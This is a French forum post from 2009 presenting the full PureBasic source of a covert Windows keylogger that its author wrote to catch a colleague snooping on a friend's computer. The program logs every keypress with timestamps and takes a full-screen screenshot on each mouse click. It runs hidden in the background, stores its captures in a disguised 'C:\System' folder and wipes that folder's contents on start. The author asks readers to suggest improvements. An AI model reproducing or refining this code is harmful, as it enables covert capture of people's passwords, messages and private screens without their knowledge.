Programme espion
Publié : dim. 22/nov./2009 12:30
J'ai créé ce programme pour rendre un service à un ami, qui soupçonnait qu'un collègue venait fouiller dans son ordinateur pendant qu'il n'était pas là. Le but n'était pas d'empêcher ledit collègue de fouiller mais 1) de confirmer qu'il fouillait et 2) de savoir ce qui l'intéressait tant dans l'ordinateur de son collègue. Ce programme enregistre les touches qui sont pressées sur le clavier et fait des imprim écran quand on fait un clic de souris. Le programme tourne en arrière-plan et les données récupérées sont stockées dans le dossier "C:\System\". Pour interrompre l'exécutable il faut forcer l'arrêt du processus dans le gestionnaire des tâches. Pour la petite histoire, il y a avait effectivement un petit curieux qui allait fouiller dans les mails et le dossier "Perso". Sentez vous libre de faire des suggestions pour optimiser ce code ou pour me faire découvrir d'autres stratégies possibles !
Code : Tout sélectionner
UsePNGImageEncoder()
Procedure DesktopScreenshot(Image,X,Y,Width,Height)
hImage=CreateImage(Image,Width,Height)
hDC=StartDrawing(ImageOutput(Image))
DeskDC=GetDC_(GetDesktopWindow_())
BitBlt_(hDC,0,0,Width,Height,DeskDC,X,Y,#SRCCOPY)
StopDrawing()
ReleaseDC_(GetDesktopWindow_(),DeskDC)
ProcedureReturn hImage
EndProcedure
Dim Key.s($FE)
For i=0 To $FE
Key(i)="??"
Next i
For i=#VK_0 To #VK_9
Key(i)=Str(i-#VK_0)
Next i
For i=#VK_A To #VK_Z
Key(i)=Chr(i-#VK_A+$41)
Next i
For i=#VK_F1 To #VK_F24
Key(i)="F"+Str(i-#VK_F1+1)
Next i
Key(#VK_ESCAPE)="Echap"
Key(#VK_SPACE)="Espace"
Key(#VK_TAB)="Tabulation"
Key(#VK_LBUTTON)="Clic gauche"
Key(#VK_RBUTTON)="Clic droit"
Key(#VK_SHIFT)="Maj"
Key(#VK_LSHIFT)="Maj"
Key(#VK_RSHIFT)="Maj"
Key(#VK_CAPITAL)="Verr Maj"
Key(#VK_LEFT)="Flèche gauche"
Key(#VK_UP)="Flèche haut"
Key(#VK_RIGHT)="Flèche droite"
Key(#VK_DOWN)="Flèche base"
Key(#VK_DELETE)="Suppr"
Key(#VK_BACK)="Retour arrière"
Key(#VK_RETURN)="Entrée"
Key(#VK_CONTROL)="Ctrl"
Key(#VK_MENU)="Alt"
Key(#VK_LCONTROL)="Ctrl"
Key(#VK_LMENU)="Alt"
Key(#VK_RCONTROL)="Ctrl"
Key(#VK_RMENU)="Alt"
DeleteDirectory("C:\System","*.*")
CreateDirectory("C:\System")
CreateFile(0,"C:\System\historic.txt")
j=0
Repeat
Delay(50)
For i=0 To $FE
Key=GetAsyncKeyState_(i)
If Key=-32767
WriteString(0,"Touche pressée : "+Key(i)+" à "+FormatDate("%hh:%ii:%ss",Date())+" le "+FormatDate("%dd/%mm/%yyyy",Date()))
If i=#VK_LBUTTON Or i=#VK_RBUTTON
ExamineDesktops()
DesktopScreenshot(0,0,0,DesktopWidth(0),DesktopHeight(0))
WriteString(0," Imprim. écran n° "+RSet(Str(j),3,"0"))
SaveImage(0,"C:\System\Imp_"+RSet(Str(j),3,"0")+".png")
j+1
Else
Debug i
EndIf
WriteStringN(0,"")
EndIf
Next i
FlushFileBuffers(0)
ForEver